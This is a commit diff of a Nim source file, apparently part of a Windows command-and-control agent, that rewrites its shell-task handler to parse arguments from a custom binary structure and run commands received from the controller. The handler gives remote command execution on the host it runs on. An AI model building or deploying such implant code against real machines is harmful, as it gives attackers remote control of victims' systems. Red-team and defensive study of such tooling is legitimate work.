Implemented communication with custom binary structure instead of JSON requests
This commit is contained in:
@@ -1,30 +1,35 @@
|
||||
import winim, osproc, strutils, strformat, base64, json
|
||||
import winim, osproc, strutils, strformat
|
||||
|
||||
import ../common/types
|
||||
import ../task/result
|
||||
import ../[utils, agentTypes]
|
||||
import ../../../common/types
|
||||
|
||||
proc taskShell*(task: Task): TaskResult =
|
||||
proc taskShell*(config: AgentConfig, task: Task): TaskResult =
|
||||
|
||||
# # Parse arguments JSON string to obtain specific values
|
||||
# let
|
||||
# params = parseJson(task.args)
|
||||
# command = params["command"].getStr()
|
||||
# arguments = params["arguments"].getStr()
|
||||
try:
|
||||
var
|
||||
command: string
|
||||
arguments: string
|
||||
|
||||
# echo fmt"Executing command {command} with arguments {arguments}"
|
||||
# Parse arguments
|
||||
case int(task.argCount):
|
||||
of 1: # Only the command has been passed as an argument
|
||||
command = task.args[0].data.toString()
|
||||
arguments = ""
|
||||
of 2: # The optional 'arguments' parameter was included
|
||||
command = task.args[0].data.toString()
|
||||
arguments = task.args[1].data.toString()
|
||||
else:
|
||||
discard
|
||||
|
||||
# try:
|
||||
# let (output, status) = execCmdEx(fmt("{command} {arguments}"))
|
||||
# return TaskResult(
|
||||
# task: task.id,
|
||||
# agent: task.agent,
|
||||
# data: encode(output),
|
||||
# status: Completed
|
||||
# )
|
||||
echo fmt" [>] Executing: {command} {arguments}."
|
||||
|
||||
# except CatchableError as err:
|
||||
# return TaskResult(
|
||||
# task: task.id,
|
||||
# agent: task.agent,
|
||||
# data: encode(fmt"An error occured: {err.msg}" & "\n"),
|
||||
# status: Failed
|
||||
# )
|
||||
let (output, status) = execCmdEx(fmt("{command} {arguments}"))
|
||||
|
||||
if output != "":
|
||||
return createTaskResult(task, cast[StatusType](status), RESULT_STRING, output.toBytes())
|
||||
else:
|
||||
return createTaskResult(task, cast[StatusType](status), RESULT_NO_OUTPUT, @[])
|
||||
|
||||
except CatchableError as err:
|
||||
return createTaskResult(task, STATUS_FAILED, RESULT_STRING, err.msg.toBytes())
|
||||
|
||||
Reference in New Issue
Block a user